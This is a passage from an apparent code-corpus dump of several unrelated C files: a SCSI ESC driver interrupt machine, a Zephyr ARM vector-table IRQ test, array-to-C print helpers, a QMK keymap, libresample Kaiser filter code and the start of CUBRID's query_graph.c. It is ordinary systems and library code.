if (esc_select_unit(dev, i) == 2)
break;
/* Does any unit need sense data? */
for(i=0; i<8; i++)
if (dev->sc_nexus[i].flags & ESC_NF_REQUEST_SENSE) {
esc_request_sense(dev, &dev->sc_nexus[i]);
break;
}
/* We are done with this nexus! */
if (nexus->state == ESC_NS_FINISHED)
esc_scsidone(dev, nexus->xs, nexus->status);
return(1);
}
switch(nexus->state) {
case ESC_NS_SELECTED:
dev->sc_cur_nexus = nexus;
dev->sc_sel_nexus = 0;
nexus->flags &= ~ESC_NF_SELECT_ME;
/*
* We have selected a unit. Setup chip, restore pointers and
* light the led.
*/
*rp->esc_syncper = nexus->syncper;
*rp->esc_syncoff = nexus->syncoff;
*rp->esc_config3 = nexus->config3;
esc_restore_pointers(dev);
if (!(nexus->flags & ESC_NF_SENSING))
nexus->status = 0xFF;
dev->sc_msg_in[0] = 0xFF;
dev->sc_msg_in_len= 0;
dev->sc_led(dev, 1);
break;
case ESC_NS_DATA_IN:
case ESC_NS_DATA_OUT:
/* We have transfered data. */
if (dev->sc_dma_len)
if (dev->sc_cur_link < dev->sc_max_link) {
/*
* Clean up dma and at the same time get how
* many bytes that were NOT transfered.
*/
left = dev->sc_setup_dma(dev, 0, 0, ESC_DMA_CLEAR);
len = dev->sc_dma_len;
if (nexus->state == ESC_NS_DATA_IN) {
/*
* If we were bumping we may have had an odd length
* which means that there may be bytes left in the
* fifo. We also need to move the data from the
* bump buffer to the actual memory.
*/
if (dev->sc_dma_buf == dev->sc_bump_pa)
{
while((*rp->esc_fifo_flags&ESC_FIFO_COUNT_MASK)
&& left)
dev->sc_bump_va[len-(left--)] = *rp->esc_fifo;
bcopy(dev->sc_bump_va, dev->sc_buf, len-left);
}
} else {
/* Count any unsent bytes and flush them. */
left+= *rp->esc_fifo_flags & ESC_FIFO_COUNT_MASK;
*rp->esc_command = ESC_CMD_FLUSH_FIFO;
}
/*
* Update pointers/length to reflect the transfered
* data.
*/
dev->sc_len -= len-left;
dev->sc_buf += len-left;
dev->sc_dma_buf += len-left;
dev->sc_dma_len = left;
dev->sc_dma_blk_ptr += len-left;
dev->sc_dma_blk_len -= len-left;
/*
* If it was the end of a dma block, we select the
* next to begin with.
*/
if (!dev->sc_dma_blk_len)
dev->sc_cur_link++;
}
break;
case ESC_NS_STATUS:
/*
* If we were not sensing, grab the status byte. If we were
* sensing and we got a bad status, let the user know.
*/
status = *rp->esc_fifo;
msg = *rp->esc_fifo;
if (!(nexus->flags & ESC_NF_SENSING))
nexus->status = status;
else if (status != 0)
nexus->status = -1;
/*
* Preload the command complete message. Handeled in
* esc_postaction.
*/
dev->sc_msg_in[0] = msg;
dev->sc_msg_in_len = 1;
nexus->flags |= ESC_NF_HAS_MSG;
break;
default:
break;
}
return(0);
}
/*
* Part three of the interrupt machine. Handle phase changes (and repeated
* phase passes). We know that we have an active nexus here.
*/
int
esc_postaction(dev, rp, nexus)
struct esc_softc *dev;
esc_regmap_p rp;
struct nexus *nexus;
{
int i, len;
u_char cmd;
short offset, period;
cmd = 0;
switch(dev->sc_status & ESC_STAT_PHASE_MASK) {
case ESC_PHASE_DATA_OUT:
case ESC_PHASE_DATA_IN:
if ((dev->sc_status & ESC_STAT_PHASE_MASK) ==
ESC_PHASE_DATA_OUT)
nexus->state = ESC_NS_DATA_OUT;
else
nexus->state = ESC_NS_DATA_IN;
/* Make DMA ready to accept new data. Load active pointers
* from the DMA block. */
dev->sc_setup_dma(dev, 0, 0, ESC_DMA_CLEAR);
if (dev->sc_cur_link < dev->sc_max_link) {
if (!dev->sc_dma_blk_len) {
dev->sc_dma_blk_ptr = dev->sc_chain[dev->sc_cur_link].ptr;
dev->sc_dma_blk_len = dev->sc_chain[dev->sc_cur_link].len;
dev->sc_dma_blk_flg = dev->sc_chain[dev->sc_cur_link].flg;
}
/* We should use polled IO here. */
if (dev->sc_dma_blk_flg == ESC_CHAIN_PRG) {
esc_ixfer(dev/*, nexus->xs->flags & SCSI_POLL*/);
dev->sc_cur_link++;
dev->sc_dma_len = 0;
break;
}
else if (dev->sc_dma_blk_flg == ESC_CHAIN_BUMP)
len = dev->sc_dma_blk_len;
else
len = dev->sc_need_bump(dev, dev->sc_dma_blk_ptr,
dev->sc_dma_blk_len);
/*
* If len != 0 we must bump the data, else we just DMA it
* straight into memory.
*/
if (len) {
dev->sc_dma_buf = dev->sc_bump_pa;
dev->sc_dma_len = len;
if (nexus->state == ESC_NS_DATA_OUT)
bcopy(dev->sc_buf, dev->sc_bump_va, dev->sc_dma_len);
} else {
dev->sc_dma_buf = dev->sc_dma_blk_ptr;
dev->sc_dma_len = dev->sc_dma_blk_len;
}
/* Load DMA with adress and length of transfer. */
dev->sc_setup_dma(dev, dev->sc_dma_buf, dev->sc_dma_len,
((nexus->state == ESC_NS_DATA_OUT) ?
ESC_DMA_WRITE : ESC_DMA_READ));
printf("Using DMA !!!!\n");
cmd = ESC_CMD_TRANSFER_INFO | ESC_CMD_DMA;
} else {
/*
* Hmmm, the unit wants more info than we have or has
* more than we want. Let the chip handle that.
*/
*rp->esc_tc_low = 0;
*rp->esc_tc_mid = 1;
*rp->esc_tc_high = 0;
cmd = ESC_CMD_TRANSFER_PAD;
}
break;
case ESC_PHASE_COMMAND:
/* The scsi unit wants the command, send it. */
nexus->state = ESC_NS_SVC;
*rp->esc_command = ESC_CMD_FLUSH_FIFO;
for(i=0; i<5; i++);
for(i=0; i<nexus->clen; i++)
*rp->esc_fifo = nexus->cbuf[i];
cmd = ESC_CMD_TRANSFER_INFO;
break;
case ESC_PHASE_STATUS:
/*
* We've got status phase. Request status and command
* complete message.
*/
nexus->state = ESC_NS_STATUS;
cmd = ESC_CMD_COMMAND_COMPLETE;
break;
case ESC_PHASE_MESSAGE_OUT:
/*
* Either the scsi unit wants us to send a message or we have
* asked for it by seting the ATN bit.
*/
nexus->state = ESC_NS_MSG_OUT;
*rp->esc_command = ESC_CMD_FLUSH_FIFO;
if (nexus->flags & ESC_NF_DO_SDTR) {
/* Send a Synchronous Data Transfer Request. */
esc_build_sdtrm(dev, nexus->period, nexus->offset);
nexus->flags |= ESC_NF_SDTR_SENT;
nexus->flags &= ~ESC_NF_DO_SDTR;
} else if (nexus->flags & ESC_NF_RESET) {
/* Send a reset scsi unit message. */
dev->sc_msg_out[0] = 0x0C;
dev->sc_msg_out_len = 1;
nexus->state = ESC_NS_RESET;
nexus->flags &= ~ESC_NF_RESET;
} else if (dev->sc_msg_out_len == 0) {
/* Don't know what to send so we send a NOP message. */
dev->sc_msg_out[0] = 0x08;
dev->sc_msg_out_len = 1;
}
cmd = ESC_CMD_TRANSFER_INFO;
for(i=0; i<dev->sc_msg_out_len; i++)
*rp->esc_fifo = dev->sc_msg_out[i];
dev->sc_msg_out_len = 0;
break;
case ESC_PHASE_MESSAGE_IN:
/* Receive a message from the scsi unit. */
nexus->state = ESC_NS_MSG_IN;
while(!(nexus->flags & ESC_NF_HAS_MSG)) {
*rp->esc_command = ESC_CMD_TRANSFER_INFO;
esciwait(dev);
dev->sc_msg_in[dev->sc_msg_in_len++] = *rp->esc_fifo;
/* Check if we got all the bytes in the message. */
if (dev->sc_msg_in[0] >= 0x80) ;
else if (dev->sc_msg_in[0] >= 0x30) ;
else if (((dev->sc_msg_in[0] >= 0x20) &&
(dev->sc_msg_in_len == 2)) ||
((dev->sc_msg_in[0] != 0x01) &&
(dev->sc_msg_in_len == 1))) {
nexus->flags |= ESC_NF_HAS_MSG;
break;
} else {
if (dev->sc_msg_in_len >= 2)
if ((dev->sc_msg_in[1]+2) == dev->sc_msg_in_len) {
nexus->flags |= ESC_NF_HAS_MSG;
break;
}
}
*rp->esc_command = ESC_CMD_MESSAGE_ACCEPTED;
esciwait(dev);
if ((dev->sc_status & ESC_STAT_PHASE_MASK) !=
ESC_PHASE_MESSAGE_IN)
break;
}
cmd = ESC_CMD_MESSAGE_ACCEPTED;
if (nexus->flags & ESC_NF_HAS_MSG) {
/* We have a message. Decode it. */
switch(dev->sc_msg_in[0]) {
case 0x00: /* COMMAND COMPLETE */
if ((nexus->status == SCSI_CHECK) &&
!(nexus->flags & ESC_NF_SENSING))
nexus->state = ESC_NS_SENSE;
else
nexus->state = ESC_NS_DONE;
break;
case 0x04: /* DISCONNECT */
nexus->state = ESC_NS_DISCONNECTING;
break;
case 0x02: /* SAVE DATA POINTER */
esc_save_pointers(dev);
break;
case 0x03: /* RESTORE DATA POINTERS */
esc_restore_pointers(dev);
break;
case 0x07: /* MESSAGE REJECT */
/*
* If we had sent a SDTR and we got a message
* reject, the scsi docs say that we must go
* to async transfer.
*/
if (nexus->flags & ESC_NF_SDTR_SENT) {
nexus->flags &= ~ESC_NF_SDTR_SENT;
nexus->config3 &= ~ESC_CFG3_FASTSCSI;
nexus->syncper = 5;
nexus->syncoff = 0;
*rp->esc_syncper = nexus->syncper;
*rp->esc_syncoff = nexus->syncoff;
*rp->esc_config3 = nexus->config3;
} else
/*
* Something was rejected but we don't know
* what! PANIC!
*/
panic("escintr: Unknown message rejected!");
break;
case 0x08: /* MO OPERATION */
break;
case 0x01: /* EXTENDED MESSAGE */
switch(dev->sc_msg_in[2]) {
case 0x01:/* SYNC. DATA TRANSFER REQUEST */
/* Decode the SDTR message. */
period = 4*dev->sc_msg_in[3];
offset = dev->sc_msg_in[4];
/*
* Make sure that the specs are within
* chip limits. Note that if we
* initiated the negotiation the specs
* WILL be withing chip limits. If it
* was the scsi unit that initiated
* the negotiation, the specs may be
* to high.
*/
if (offset > 16)
offset = 16;
if ((period < 200) &&
(dev->sc_clock_freq <= 25))
period = 200;
if (offset == 0)
period = 5*dev->sc_clock_period;
nexus->syncper = period/
dev->sc_clock_period;
nexus->syncoff = offset;
if (period < 200)
nexus->config3 |= ESC_CFG3_FASTSCSI;
else
nexus->config3 &=~ESC_CFG3_FASTSCSI;
nexus->flags |= ESC_NF_SYNC_TESTED;
*rp->esc_syncper = nexus->syncper;
*rp->esc_syncoff = nexus->syncoff;
*rp->esc_config3 = nexus->config3;
/*
* Hmmm, it seems that the scsi unit
* initiated sync negotiation, so lets
* reply acording to scsi-2 standard.
*/
if (!(nexus->flags& ESC_NF_SDTR_SENT))
{
if ((dev->sc_config_flags &
ESC_NO_SYNCH) ||
(dev->sc_config_flags &
ESC_NO_DMA) ||
esc_inhibit_sync[
nexus->lun_unit & 7]) {
period = 200;
offset = 0;
}
nexus->offset = offset;
nexus->period = period;
nexus->flags |= ESC_NF_DO_SDTR;
*rp->esc_command = ESC_CMD_SET_ATN;
}
nexus->flags &= ~ESC_NF_SDTR_SENT;
break;
case 0x00: /* MODIFY DATA POINTERS */
case 0x02: /* EXTENDED IDENTIFY (SCSI-1) */
case 0x03: /* WIDE DATA TRANSFER REQUEST */
default:
/* Reject any unhandeled messages. */
dev->sc_msg_out[0] = 0x07;
dev->sc_msg_out_len = 1;
*rp->esc_command = ESC_CMD_SET_ATN;
cmd = ESC_CMD_MESSAGE_ACCEPTED;
break;
}
break;
default:
/* Reject any unhandeled messages. */
dev->sc_msg_out[0] = 0x07;
dev->sc_msg_out_len = 1;
*rp->esc_command = ESC_CMD_SET_ATN;
cmd = ESC_CMD_MESSAGE_ACCEPTED;
break;
}
nexus->flags &= ~ESC_NF_HAS_MSG;
dev->sc_msg_in_len = 0;
}
break;
default:
printf("ESCINTR: UNKNOWN PHASE! phase: %d\n",
dev->sc_status & ESC_STAT_PHASE_MASK);
dev->sc_led(dev, 0);
esc_scsidone(dev, nexus->xs, -4);
return(-1);
}
if (cmd)
*rp->esc_command = cmd;
return(0);
}
/*
* Stub for interrupt machine.
*/
void
escintr(dev)
struct esc_softc *dev;
{
esc_regmap_p rp;
struct nexus *nexus;
rp = dev->sc_esc;
if (!esc_pretests(dev, rp)) {
nexus = dev->sc_cur_nexus;
if (nexus == NULL)
nexus = dev->sc_sel_nexus;
if (nexus)
if (!esc_midaction(dev, rp, nexus))
esc_postaction(dev, rp, nexus);
}
}
/*
* escicmd is used to perform IO when we can't use interrupts. escicmd
* emulates the normal environment by waiting for the chip and calling
* escintr.
*/
void
escicmd(dev, pendp)
struct esc_softc *dev;
struct esc_pending *pendp;
{
esc_regmap_p rp;
struct nexus *nexus;
nexus = &dev->sc_nexus[pendp->xs->sc_link->scsipi_scsi.target];
rp = dev->sc_esc;
if (!escselect(dev, pendp, (char *)pendp->xs->cmd, pendp->xs->cmdlen,
(char *)pendp->xs->data, pendp->xs->datalen,
ESC_SELECT_I))
panic("escicmd: Couldn't select unit");
while(nexus->state != ESC_NS_FINISHED) {
esciwait(dev);
escintr(dev);
}
nexus->flags &= ~ESC_NF_SYNC_TESTED;
}
|
364593.c | /*
* Copyright (c) 2014 Wind River Systems, Inc.
*
* SPDX-License-Identifier: Apache-2.0
*/
#include <ztest.h>
#include <arch/cpu.h>
#include <arch/arm/cortex_m/cmsis.h>
#include <linker/sections.h>
/*
* Offset (starting from the beginning of the vector table)
* of the location where the ISRs will be manually installed.
*/
#define _ISR_OFFSET 0
#if defined(CONFIG_SOC_SERIES_NRF52X)
/* The customized solution for nRF52X-based platforms
* requires that the POWER_CLOCK_IRQn line equals 0.
*/
BUILD_ASSERT_MSG(POWER_CLOCK_IRQn == 0,
"POWER_CLOCK_IRQn != 0. Consider rework manual vector table.");
/* The customized solution for nRF52X-based platforms
* requires that the RTC1 IRQ line equals 17.
*/
BUILD_ASSERT_MSG(RTC1_IRQn == 17,
"RTC1_IRQn != 17. Consider rework manual vector table.");
#undef _ISR_OFFSET
/* Interrupt line 0 is used by POWER_CLOCK */
#define _ISR_OFFSET 1
#elif defined(CONFIG_SOC_SERIES_NRF91X)
/* The customized solution for nRF91X-based platforms
* requires that the POWER_CLOCK_IRQn line equals 5.
*/
BUILD_ASSERT_MSG(CLOCK_POWER_IRQn == 5,
"POWER_CLOCK_IRQn != 5."
"Consider rework manual vector table.");
/* The customized solution for nRF91X-based platforms
* requires that the RTC1 IRQ line equals 21.
*/
BUILD_ASSERT_MSG(RTC1_IRQn == 21,
"RTC1_IRQn != 21. Consider rework manual vector table.");
#undef _ISR_OFFSET
/* Interrupt lines 8-10 is the first set of consecutive interrupts implemented
* in nRF9160 SOC.
*/
#define _ISR_OFFSET 8
#endif /* CONFIG_SOC_SERIES_NRF52X */
struct k_sem sem[3];
/**
*
* @brief ISR for IRQ0
*
* @return N/A
*/
void isr0(void)
{
printk("%s ran!\n", __func__);
k_sem_give(&sem[0]);
_IntExit();
}
/**
*
* @brief ISR for IRQ1
*
* @return N/A
*/
void isr1(void)
{
printk("%s ran!\n", __func__);
k_sem_give(&sem[1]);
_IntExit();
}
/**
*
* @brief ISR for IRQ2
*
* @return N/A
*/
void isr2(void)
{
printk("%s ran!\n", __func__);
k_sem_give(&sem[2]);
_IntExit();
}
/**
* @defgroup kernel_interrupt_tests Interrupts
* @ingroup all_tests
* @{
*/
/**
* @brief Test installation of ISRs directly in the vector table
*
* @details Test validates the arm irq vector table. We create a
* irq vector table with the address of the interrupt handler. We write
* into the Software Trigger Interrupt Register(STIR) or calling
* NVIC_SetPendingIRQ(), to trigger the pending interrupt. And we check
* that the corresponding interrupt handler is getting called or not.
*
* @see irq_enable(), z_irq_priority_set(), NVIC_SetPendingIRQ()
*
*/
void test_arm_irq_vector_table(void)
{
printk("Test Cortex-M IRQs installed directly in the vector table\n");
for (int ii = 0; ii < 3; ii++) {
irq_enable(_ISR_OFFSET + ii);
z_irq_priority_set(_ISR_OFFSET + ii, 0, 0);
k_sem_init(&sem[ii], 0, UINT_MAX);
}
zassert_true((k_sem_take(&sem[0], K_NO_WAIT) ||
k_sem_take(&sem[1], K_NO_WAIT) ||
k_sem_take(&sem[2], K_NO_WAIT)), NULL);
for (int ii = 0; ii < 3; ii++) {
#if defined(CONFIG_SOC_TI_LM3S6965_QEMU)
/* the QEMU does not simulate the
* STIR register: this is a workaround
*/
NVIC_SetPendingIRQ(_ISR_OFFSET + ii);
#else
NVIC->STIR = _ISR_OFFSET + ii;
#endif
}
zassert_false((k_sem_take(&sem[0], K_NO_WAIT) ||
k_sem_take(&sem[1], K_NO_WAIT) ||
k_sem_take(&sem[2], K_NO_WAIT)), NULL);
}
typedef void (*vth)(void); /* Vector Table Handler */
#if defined(CONFIG_SOC_SERIES_NRF52X) || defined(CONFIG_SOC_SERIES_NRF91X)
/* nRF52X- and nRF91X-based platforms employ a Hardware RTC peripheral
* to implement the Kernel system timer, instead of the ARM Cortex-M
* SysTick. Therefore, a pointer to the timer ISR needs to be added in
* the custom vector table to handle the timer "tick" interrupts.
*
* The same applies to the CLOCK Control peripheral, which may trigger
* IRQs that would need to be serviced.
*/
void rtc1_nrf_isr(void);
void nrf_power_clock_isr(void);
#if defined(CONFIG_SOC_SERIES_NRF52X)
vth __irq_vector_table _irq_vector_table[RTC1_IRQn + 1] = {
nrf_power_clock_isr,
isr0, isr1, isr2,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
rtc1_nrf_isr
};
#elif defined(CONFIG_SOC_SERIES_NRF91X)
vth __irq_vector_table _irq_vector_table[RTC1_IRQn + 1] = {
0, 0, 0, 0, 0, nrf_power_clock_isr, 0, 0,
isr0, isr1, isr2,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
rtc1_nrf_isr
};
#endif
#elif defined(CONFIG_SOC_SERIES_CC13X2_CC26X2)
/* TI CC13x2/CC26x2 based platforms also employ a Hardware RTC peripheral
* to implement the Kernel system timer, instead of the ARM Cortex-M
* SysTick. Therefore, a pointer to the timer ISR needs to be added in
* the custom vector table to handle the timer "tick" interrupts.
*/
extern void rtc_isr(void);
vth __irq_vector_table _irq_vector_table[CONFIG_NUM_IRQS + 2] = {
isr0, isr1, isr2, 0,
rtc_isr
};
#else
vth __irq_vector_table _irq_vector_table[CONFIG_NUM_IRQS] = {
isr0, isr1, isr2
};
#endif /* CONFIG_SOC_SERIES_NRF52X || CONFIG_SOC_SERIES_NRF91X */
/**
* @}
*/
|
583423.c | /* -*- mode: c; c-basic-offset: 4; indent-tabs-mode: nil; tab-width: 4 -*- */
/* vi: set expandtab shiftwidth=4 tabstop=4: */
#include <RadonFramework/backend/stringcoders/arraytoc.h>
#include <stdio.h>
// dump uint32_t as hex digits
void uint32_array_to_c_hex(const uint32_t* ary, int sz, const char* name)
{
printf("static const uint32_t %s[%d] = {\n", name, sz);
int i = 0;
for (;;) {
printf("0x%08x", ary[i]);
++i;
if (i == sz) break;
if (i % 6 == 0) {
printf(",\n");
} else {
printf(", ");
}
}
printf("\n};\n");
}
/**
* prints char array as a c program snippet
*/
void char_array_to_c(const char* ary, int sz, const char* name)
{
printf("static const unsigned char %s[%d] = {\n", name, sz);
uint8_t tmp;
int i = 0;
for (;;) {
if (ary[i] == 0) {
printf("'\\0'");
} else if (ary[i] == '\n') {
printf("'\\n'");
} else if (ary[i] == '\t') {
printf("'\\t'");
} else if (ary[i] == '\r') {
printf("'\\r'");
} else if (ary[i] == '\'') {
printf("'\\''");
} else if (ary[i] == '\\') {
printf("'\\\\'");
} else if (ary[i] < 32 || ary[i] > 126) {
tmp = (uint8_t) ary[i];
printf("0x%02x", tmp);
} else {
printf(" '%c'", (char)ary[i]);
}
++i;
if (i == sz) break;
if (i % 10 == 0) {
printf(",\n");
} else {
printf(", ");
}
}
printf("\n};\n\n");
}
/**
* prints an uint array as a c program snippet
*/
void uint32_array_to_c(const uint32_t* ary, int sz, const char* name)
{
printf("static const uint32_t %s[%d] = {\n", name, sz);
int i = 0;
for (;;) {
printf("%3d", ary[i]);
++i;
if (i == sz) break;
if (i % 12 == 0) {
printf(",\n");
} else {
printf(", ");
}
}
printf("\n};\n\n");
}
|
168555.c | /*
Copyright 2021 Swiftrax <[email protected]>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include QMK_KEYBOARD_H
const uint16_t PROGMEM keymaps[][MATRIX_ROWS][MATRIX_COLS] = {
[0] = LAYOUT_split_bs_rshift(
KC_ESC, KC_1, KC_2, KC_3, KC_4, KC_5, KC_6, KC_7, KC_8, KC_9, KC_0, KC_MINS, KC_EQL, KC_BSPC, KC_DEL,
KC_TAB, KC_Q, KC_W, KC_E, KC_R, KC_T, KC_Y, KC_U, KC_I, KC_O, KC_P, KC_LBRC, KC_RBRC, KC_BSLS,
KC_CAPS, KC_A, KC_S, KC_D, KC_F, KC_G, KC_H, KC_J, KC_K, KC_L, KC_SCLN, KC_QUOT, KC_ENT,
KC_LSFT, KC_Z, KC_X, KC_C, KC_V, KC_B, KC_B, KC_N, KC_M, KC_COMM, KC_DOT, KC_SLSH, KC_RSFT, KC_RSFT,
KC_LCTL, KC_LGUI, KC_LALT, MO(1), KC_SPC, KC_RALT, KC_RGUI, KC_RGUI, KC_RCTL
),
[1] = LAYOUT_split_bs_rshift(
RESET, KC_F1, KC_F2, KC_F3, KC_F4, KC_F5, KC_F6, KC_F7, KC_F8, KC_F9, KC_F10, KC_F11, KC_F12, KC_DEL, KC_BSPC,
_______, _______, KC_PGUP, _______, _______, _______, _______, _______, KC_UP, _______, KC_MPRV, KC_MPLY, KC_MNXT, _______,
_______, KC_HOME, KC_PGDN, KC_END, _______, KC_VOLD, KC_VOLU, KC_LEFT, KC_DOWN, KC_RGHT, _______, _______, _______,
_______, _______, _______, _______, _______, _______, _______, _______, _______, _______, _______, _______, KC_PSCR, _______,
_______, _______, _______, _______, _______, _______, _______, _______, _______
)
};
|
640518.c | /**********************************************************************
resamplesubs.c
Real-time library interface by Dominic Mazzoni
Based on resample-1.7:
http://www-ccrma.stanford.edu/~jos/resample/
Dual-licensed as LGPL and BSD; see README.md and LICENSE* files.
This file provides Kaiser-windowed low-pass filter support,
including a function to create the filter coefficients, and
two functions to apply the filter at a particular point.
**********************************************************************/
/* Definitions */
#include "libresample/resample_defs.h"
#include "libresample/filterkit.h"
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <math.h>
/* LpFilter()
*
* reference: "Digital Filters, 2nd edition"
* R.W. Hamming, pp. 178-179
*
* Izero() computes the 0th order modified bessel function of the first kind.
* (Needed to compute Kaiser window).
*
* LpFilter() computes the coeffs of a Kaiser-windowed low pass filter with
* the following characteristics:
*
* c[] = array in which to store computed coeffs
* frq = roll-off frequency of filter
* N = Half the window length in number of coeffs
* Beta = parameter of Kaiser window
* Num = number of coeffs before 1/frq
*
* Beta trades the rejection of the lowpass filter against the transition
* width from passband to stopband. Larger Beta means a slower
* transition and greater stopband rejection. See Rabiner and Gold
* (Theory and Application of DSP) under Kaiser windows for more about
* Beta. The following table from Rabiner and Gold gives some feel
* for the effect of Beta:
*
* All ripples in dB, width of transition band = D*N where N = window length
*
* BETA D PB RIP SB RIP
* 2.120 1.50 +-0.27 -30
* 3.384 2.23 0.0864 -40
* 4.538 2.93 0.0274 -50
* 5.658 3.62 0.00868 -60
* 6.764 4.32 0.00275 -70
* 7.865 5.0 0.000868 -80
* 8.960 5.7 0.000275 -90
* 10.056 6.4 0.000087 -100
*/
#define IzeroEPSILON 1E-21 /* Max error acceptable in Izero */
static double Izero(double x)
{
double sum, u, halfx, temp;
int n;
sum = u = n = 1;
halfx = x/2.0;
do {
temp = halfx/(double)n;
n += 1;
temp *= temp;
u *= temp;
sum += u;
} while (u >= IzeroEPSILON*sum);
return(sum);
}
void lrsLpFilter(double c[], int N, double frq, double Beta, int Num)
{
double IBeta, temp, temp1, inm1;
int i;
/* Calculate ideal lowpass filter impulse response coefficients: */
c[0] = 2.0*frq;
for (i=1; i<N; i++) {
temp = PI*(double)i/(double)Num;
c[i] = sin(2.0*temp*frq)/temp; /* Analog sinc function, cutoff = frq */
}
/*
* Calculate and Apply Kaiser window to ideal lowpass filter.
* Note: last window value is IBeta which is NOT zero.
* You're supposed to really truncate the window here, not ramp
* it to zero. This helps reduce the first sidelobe.
*/
IBeta = 1.0/Izero(Beta);
inm1 = 1.0/((double)(N-1));
for (i=1; i<N; i++) {
temp = (double)i * inm1;
temp1 = 1.0 - temp*temp;
temp1 = (temp1<0? 0: temp1); /* make sure it's not negative since
we're taking the square root - this
happens on Pentium 4's due to tiny
roundoff errors */
c[i] *= Izero(Beta*sqrt(temp1)) * IBeta;
}
}
float lrsFilterUp(float Imp[], /* impulse response */
float ImpD[], /* impulse response deltas */
UWORD Nwing, /* len of one wing of filter */
BOOL Interp, /* Interpolate coefs using deltas? */
float *Xp, /* Current sample */
double Ph, /* Phase */
int Inc) /* increment (1 for right wing or -1 for left) */
{
float *Hp, *Hdp = NULL, *End;
double a = 0;
float v, t;
Ph *= Npc; /* Npc is number of values per 1/delta in impulse response */
v = 0.0; /* The output value */
Hp = &Imp[(int)Ph];
End = &Imp[Nwing];
if (Interp) {
Hdp = &ImpD[(int)Ph];
a = Ph - floor(Ph); /* fractional part of Phase */
}
if (Inc == 1) /* If doing right wing... */
{ /* ...drop extra coeff, so when Ph is */
End--; /* 0.5, we don't do too many mult's */
if (Ph == 0) /* If the phase is zero... */
{ /* ...then we've already skipped the */
Hp += Npc; /* first sample, so we must also */
Hdp += Npc; /* skip ahead in Imp[] and ImpD[] */
}
}
if (Interp)
while (Hp < End) {
t = *Hp; /* Get filter coeff */
t += (*Hdp)*a; /* t is now interp'd filter coeff */
Hdp += Npc; /* Filter coeff differences step */
t *= *Xp; /* Mult coeff by input sample */
v += t; /* The filter output */
Hp += Npc; /* Filter coeff step */
Xp += Inc; /* Input signal step. NO CHECK ON BOUNDS */
}
else
while (Hp < End) {
t = *Hp; /* Get filter coeff */
t *= *Xp; /* Mult coeff by input sample */
v += t; /* The filter output */
Hp += Npc; /* Filter coeff step */
Xp += Inc; /* Input signal step. NO CHECK ON BOUNDS */
}
return v;
}
float lrsFilterUD(float Imp[], /* impulse response */
float ImpD[], /* impulse response deltas */
UWORD Nwing, /* len of one wing of filter */
BOOL Interp, /* Interpolate coefs using deltas? */
float *Xp, /* Current sample */
double Ph, /* Phase */
int Inc, /* increment (1 for right wing or -1 for left) */
double dhb) /* filter sampling period */
{
float a;
float *Hp, *Hdp, *End;
float v, t;
double Ho;
v = 0.0; /* The output value */
Ho = Ph*dhb;
End = &Imp[Nwing];
if (Inc == 1) /* If doing right wing... */
{ /* ...drop extra coeff, so when Ph is */
End--; /* 0.5, we don't do too many mult's */
if (Ph == 0) /* If the phase is zero... */
Ho += dhb; /* ...then we've already skipped the */
} /* first sample, so we must also */
/* skip ahead in Imp[] and ImpD[] */
if (Interp)
while ((Hp = &Imp[(int)Ho]) < End) {
t = *Hp; /* Get IR sample */
Hdp = &ImpD[(int)Ho]; /* get interp bits from diff table*/
a = Ho - floor(Ho); /* a is logically between 0 and 1 */
t += (*Hdp)*a; /* t is now interp'd filter coeff */
t *= *Xp; /* Mult coeff by input sample */
v += t; /* The filter output */
Ho += dhb; /* IR step */
Xp += Inc; /* Input signal step. NO CHECK ON BOUNDS */
}
else
while ((Hp = &Imp[(int)Ho]) < End) {
t = *Hp; /* Get IR sample */
t *= *Xp; /* Mult coeff by input sample */
v += t; /* The filter output */
Ho += dhb; /* IR step */
Xp += Inc; /* Input signal step. NO CHECK ON BOUNDS */
}
return v;
}
|
995332.c | /*
* Copyright 2008 Search Solution Corporation
* Copyright 2016 CUBRID Corporation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
/*
* query_graph.c - builds a query graph from a parse tree and
* transforms the tree by unfolding path expressions.
*/
#ident "$Id$"
#include "config.h"
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <math.h>
#include <assert.h>
#if !defined(WINDOWS)
#include <values.h>
#endif /* !WINDOWS */
#include "parser.h"
#include "error_code.h"
#include "error_manager.h"
#include "object_primitive.h"
#include "object_representation.h"
#include "optimizer.h"
#include "query_graph.h"
#include "query_planner.h"
#include "schema_manager.h"
#include "statistics.h"
#include "system_parameter.h"
#include "environment_variable.h"
#include "xasl_generation.h"
#include "query_list.h"
#include "db.h"
#include "system_parameter.h"
#include "memory_alloc.h"
#include "environment_variable.h"
#include "util_func.h"
#include "locator_cl.h"
#include "object_domain.h"
#include "network_interface_cl.h"
#include "dbtype.h"
#include "xasl.h"
/* figure out how many bytes a QO_USING_INDEX struct with n entries requires */
#define SIZEOF_USING_INDEX(n) \
(sizeof(QO_USING_INDEX) + (((n)-1) * sizeof(QO_USING_INDEX_ENTRY)))
/* any number that won't overlap PT_MISC_TYPE */
#define PREDICATE_TERM -2
#define RANK_DEFAULT 0 /* default */
#define RANK_NAME RANK_DEFAULT /* name -- use default */
#define RANK_VALUE RANK_DEFAULT /* value -- use default */
#define RANK_EXPR_LIGHT 1 /* Group 1 */
#define RANK_EXPR_MEDIUM 2 /* Group 2 */
#define RANK_EXPR_HEAVY 3 /* Group 3 */
#define RANK_EXPR_FUNCTION 4 /* agg function, set */
#define RANK_QUERY 8 /* subquery */
/* log2(sizeof(POINTER)) */
#if __WORDSIZE == 64
/* log2(8) */
#define LOG2_SIZEOF_POINTER 3
#else
/* log2(4) */
#define LOG2_SIZEOF_POINTER 2
#endif
/*
* Figure out how many bytes a QO_INDEX struct with n entries requires.
*/
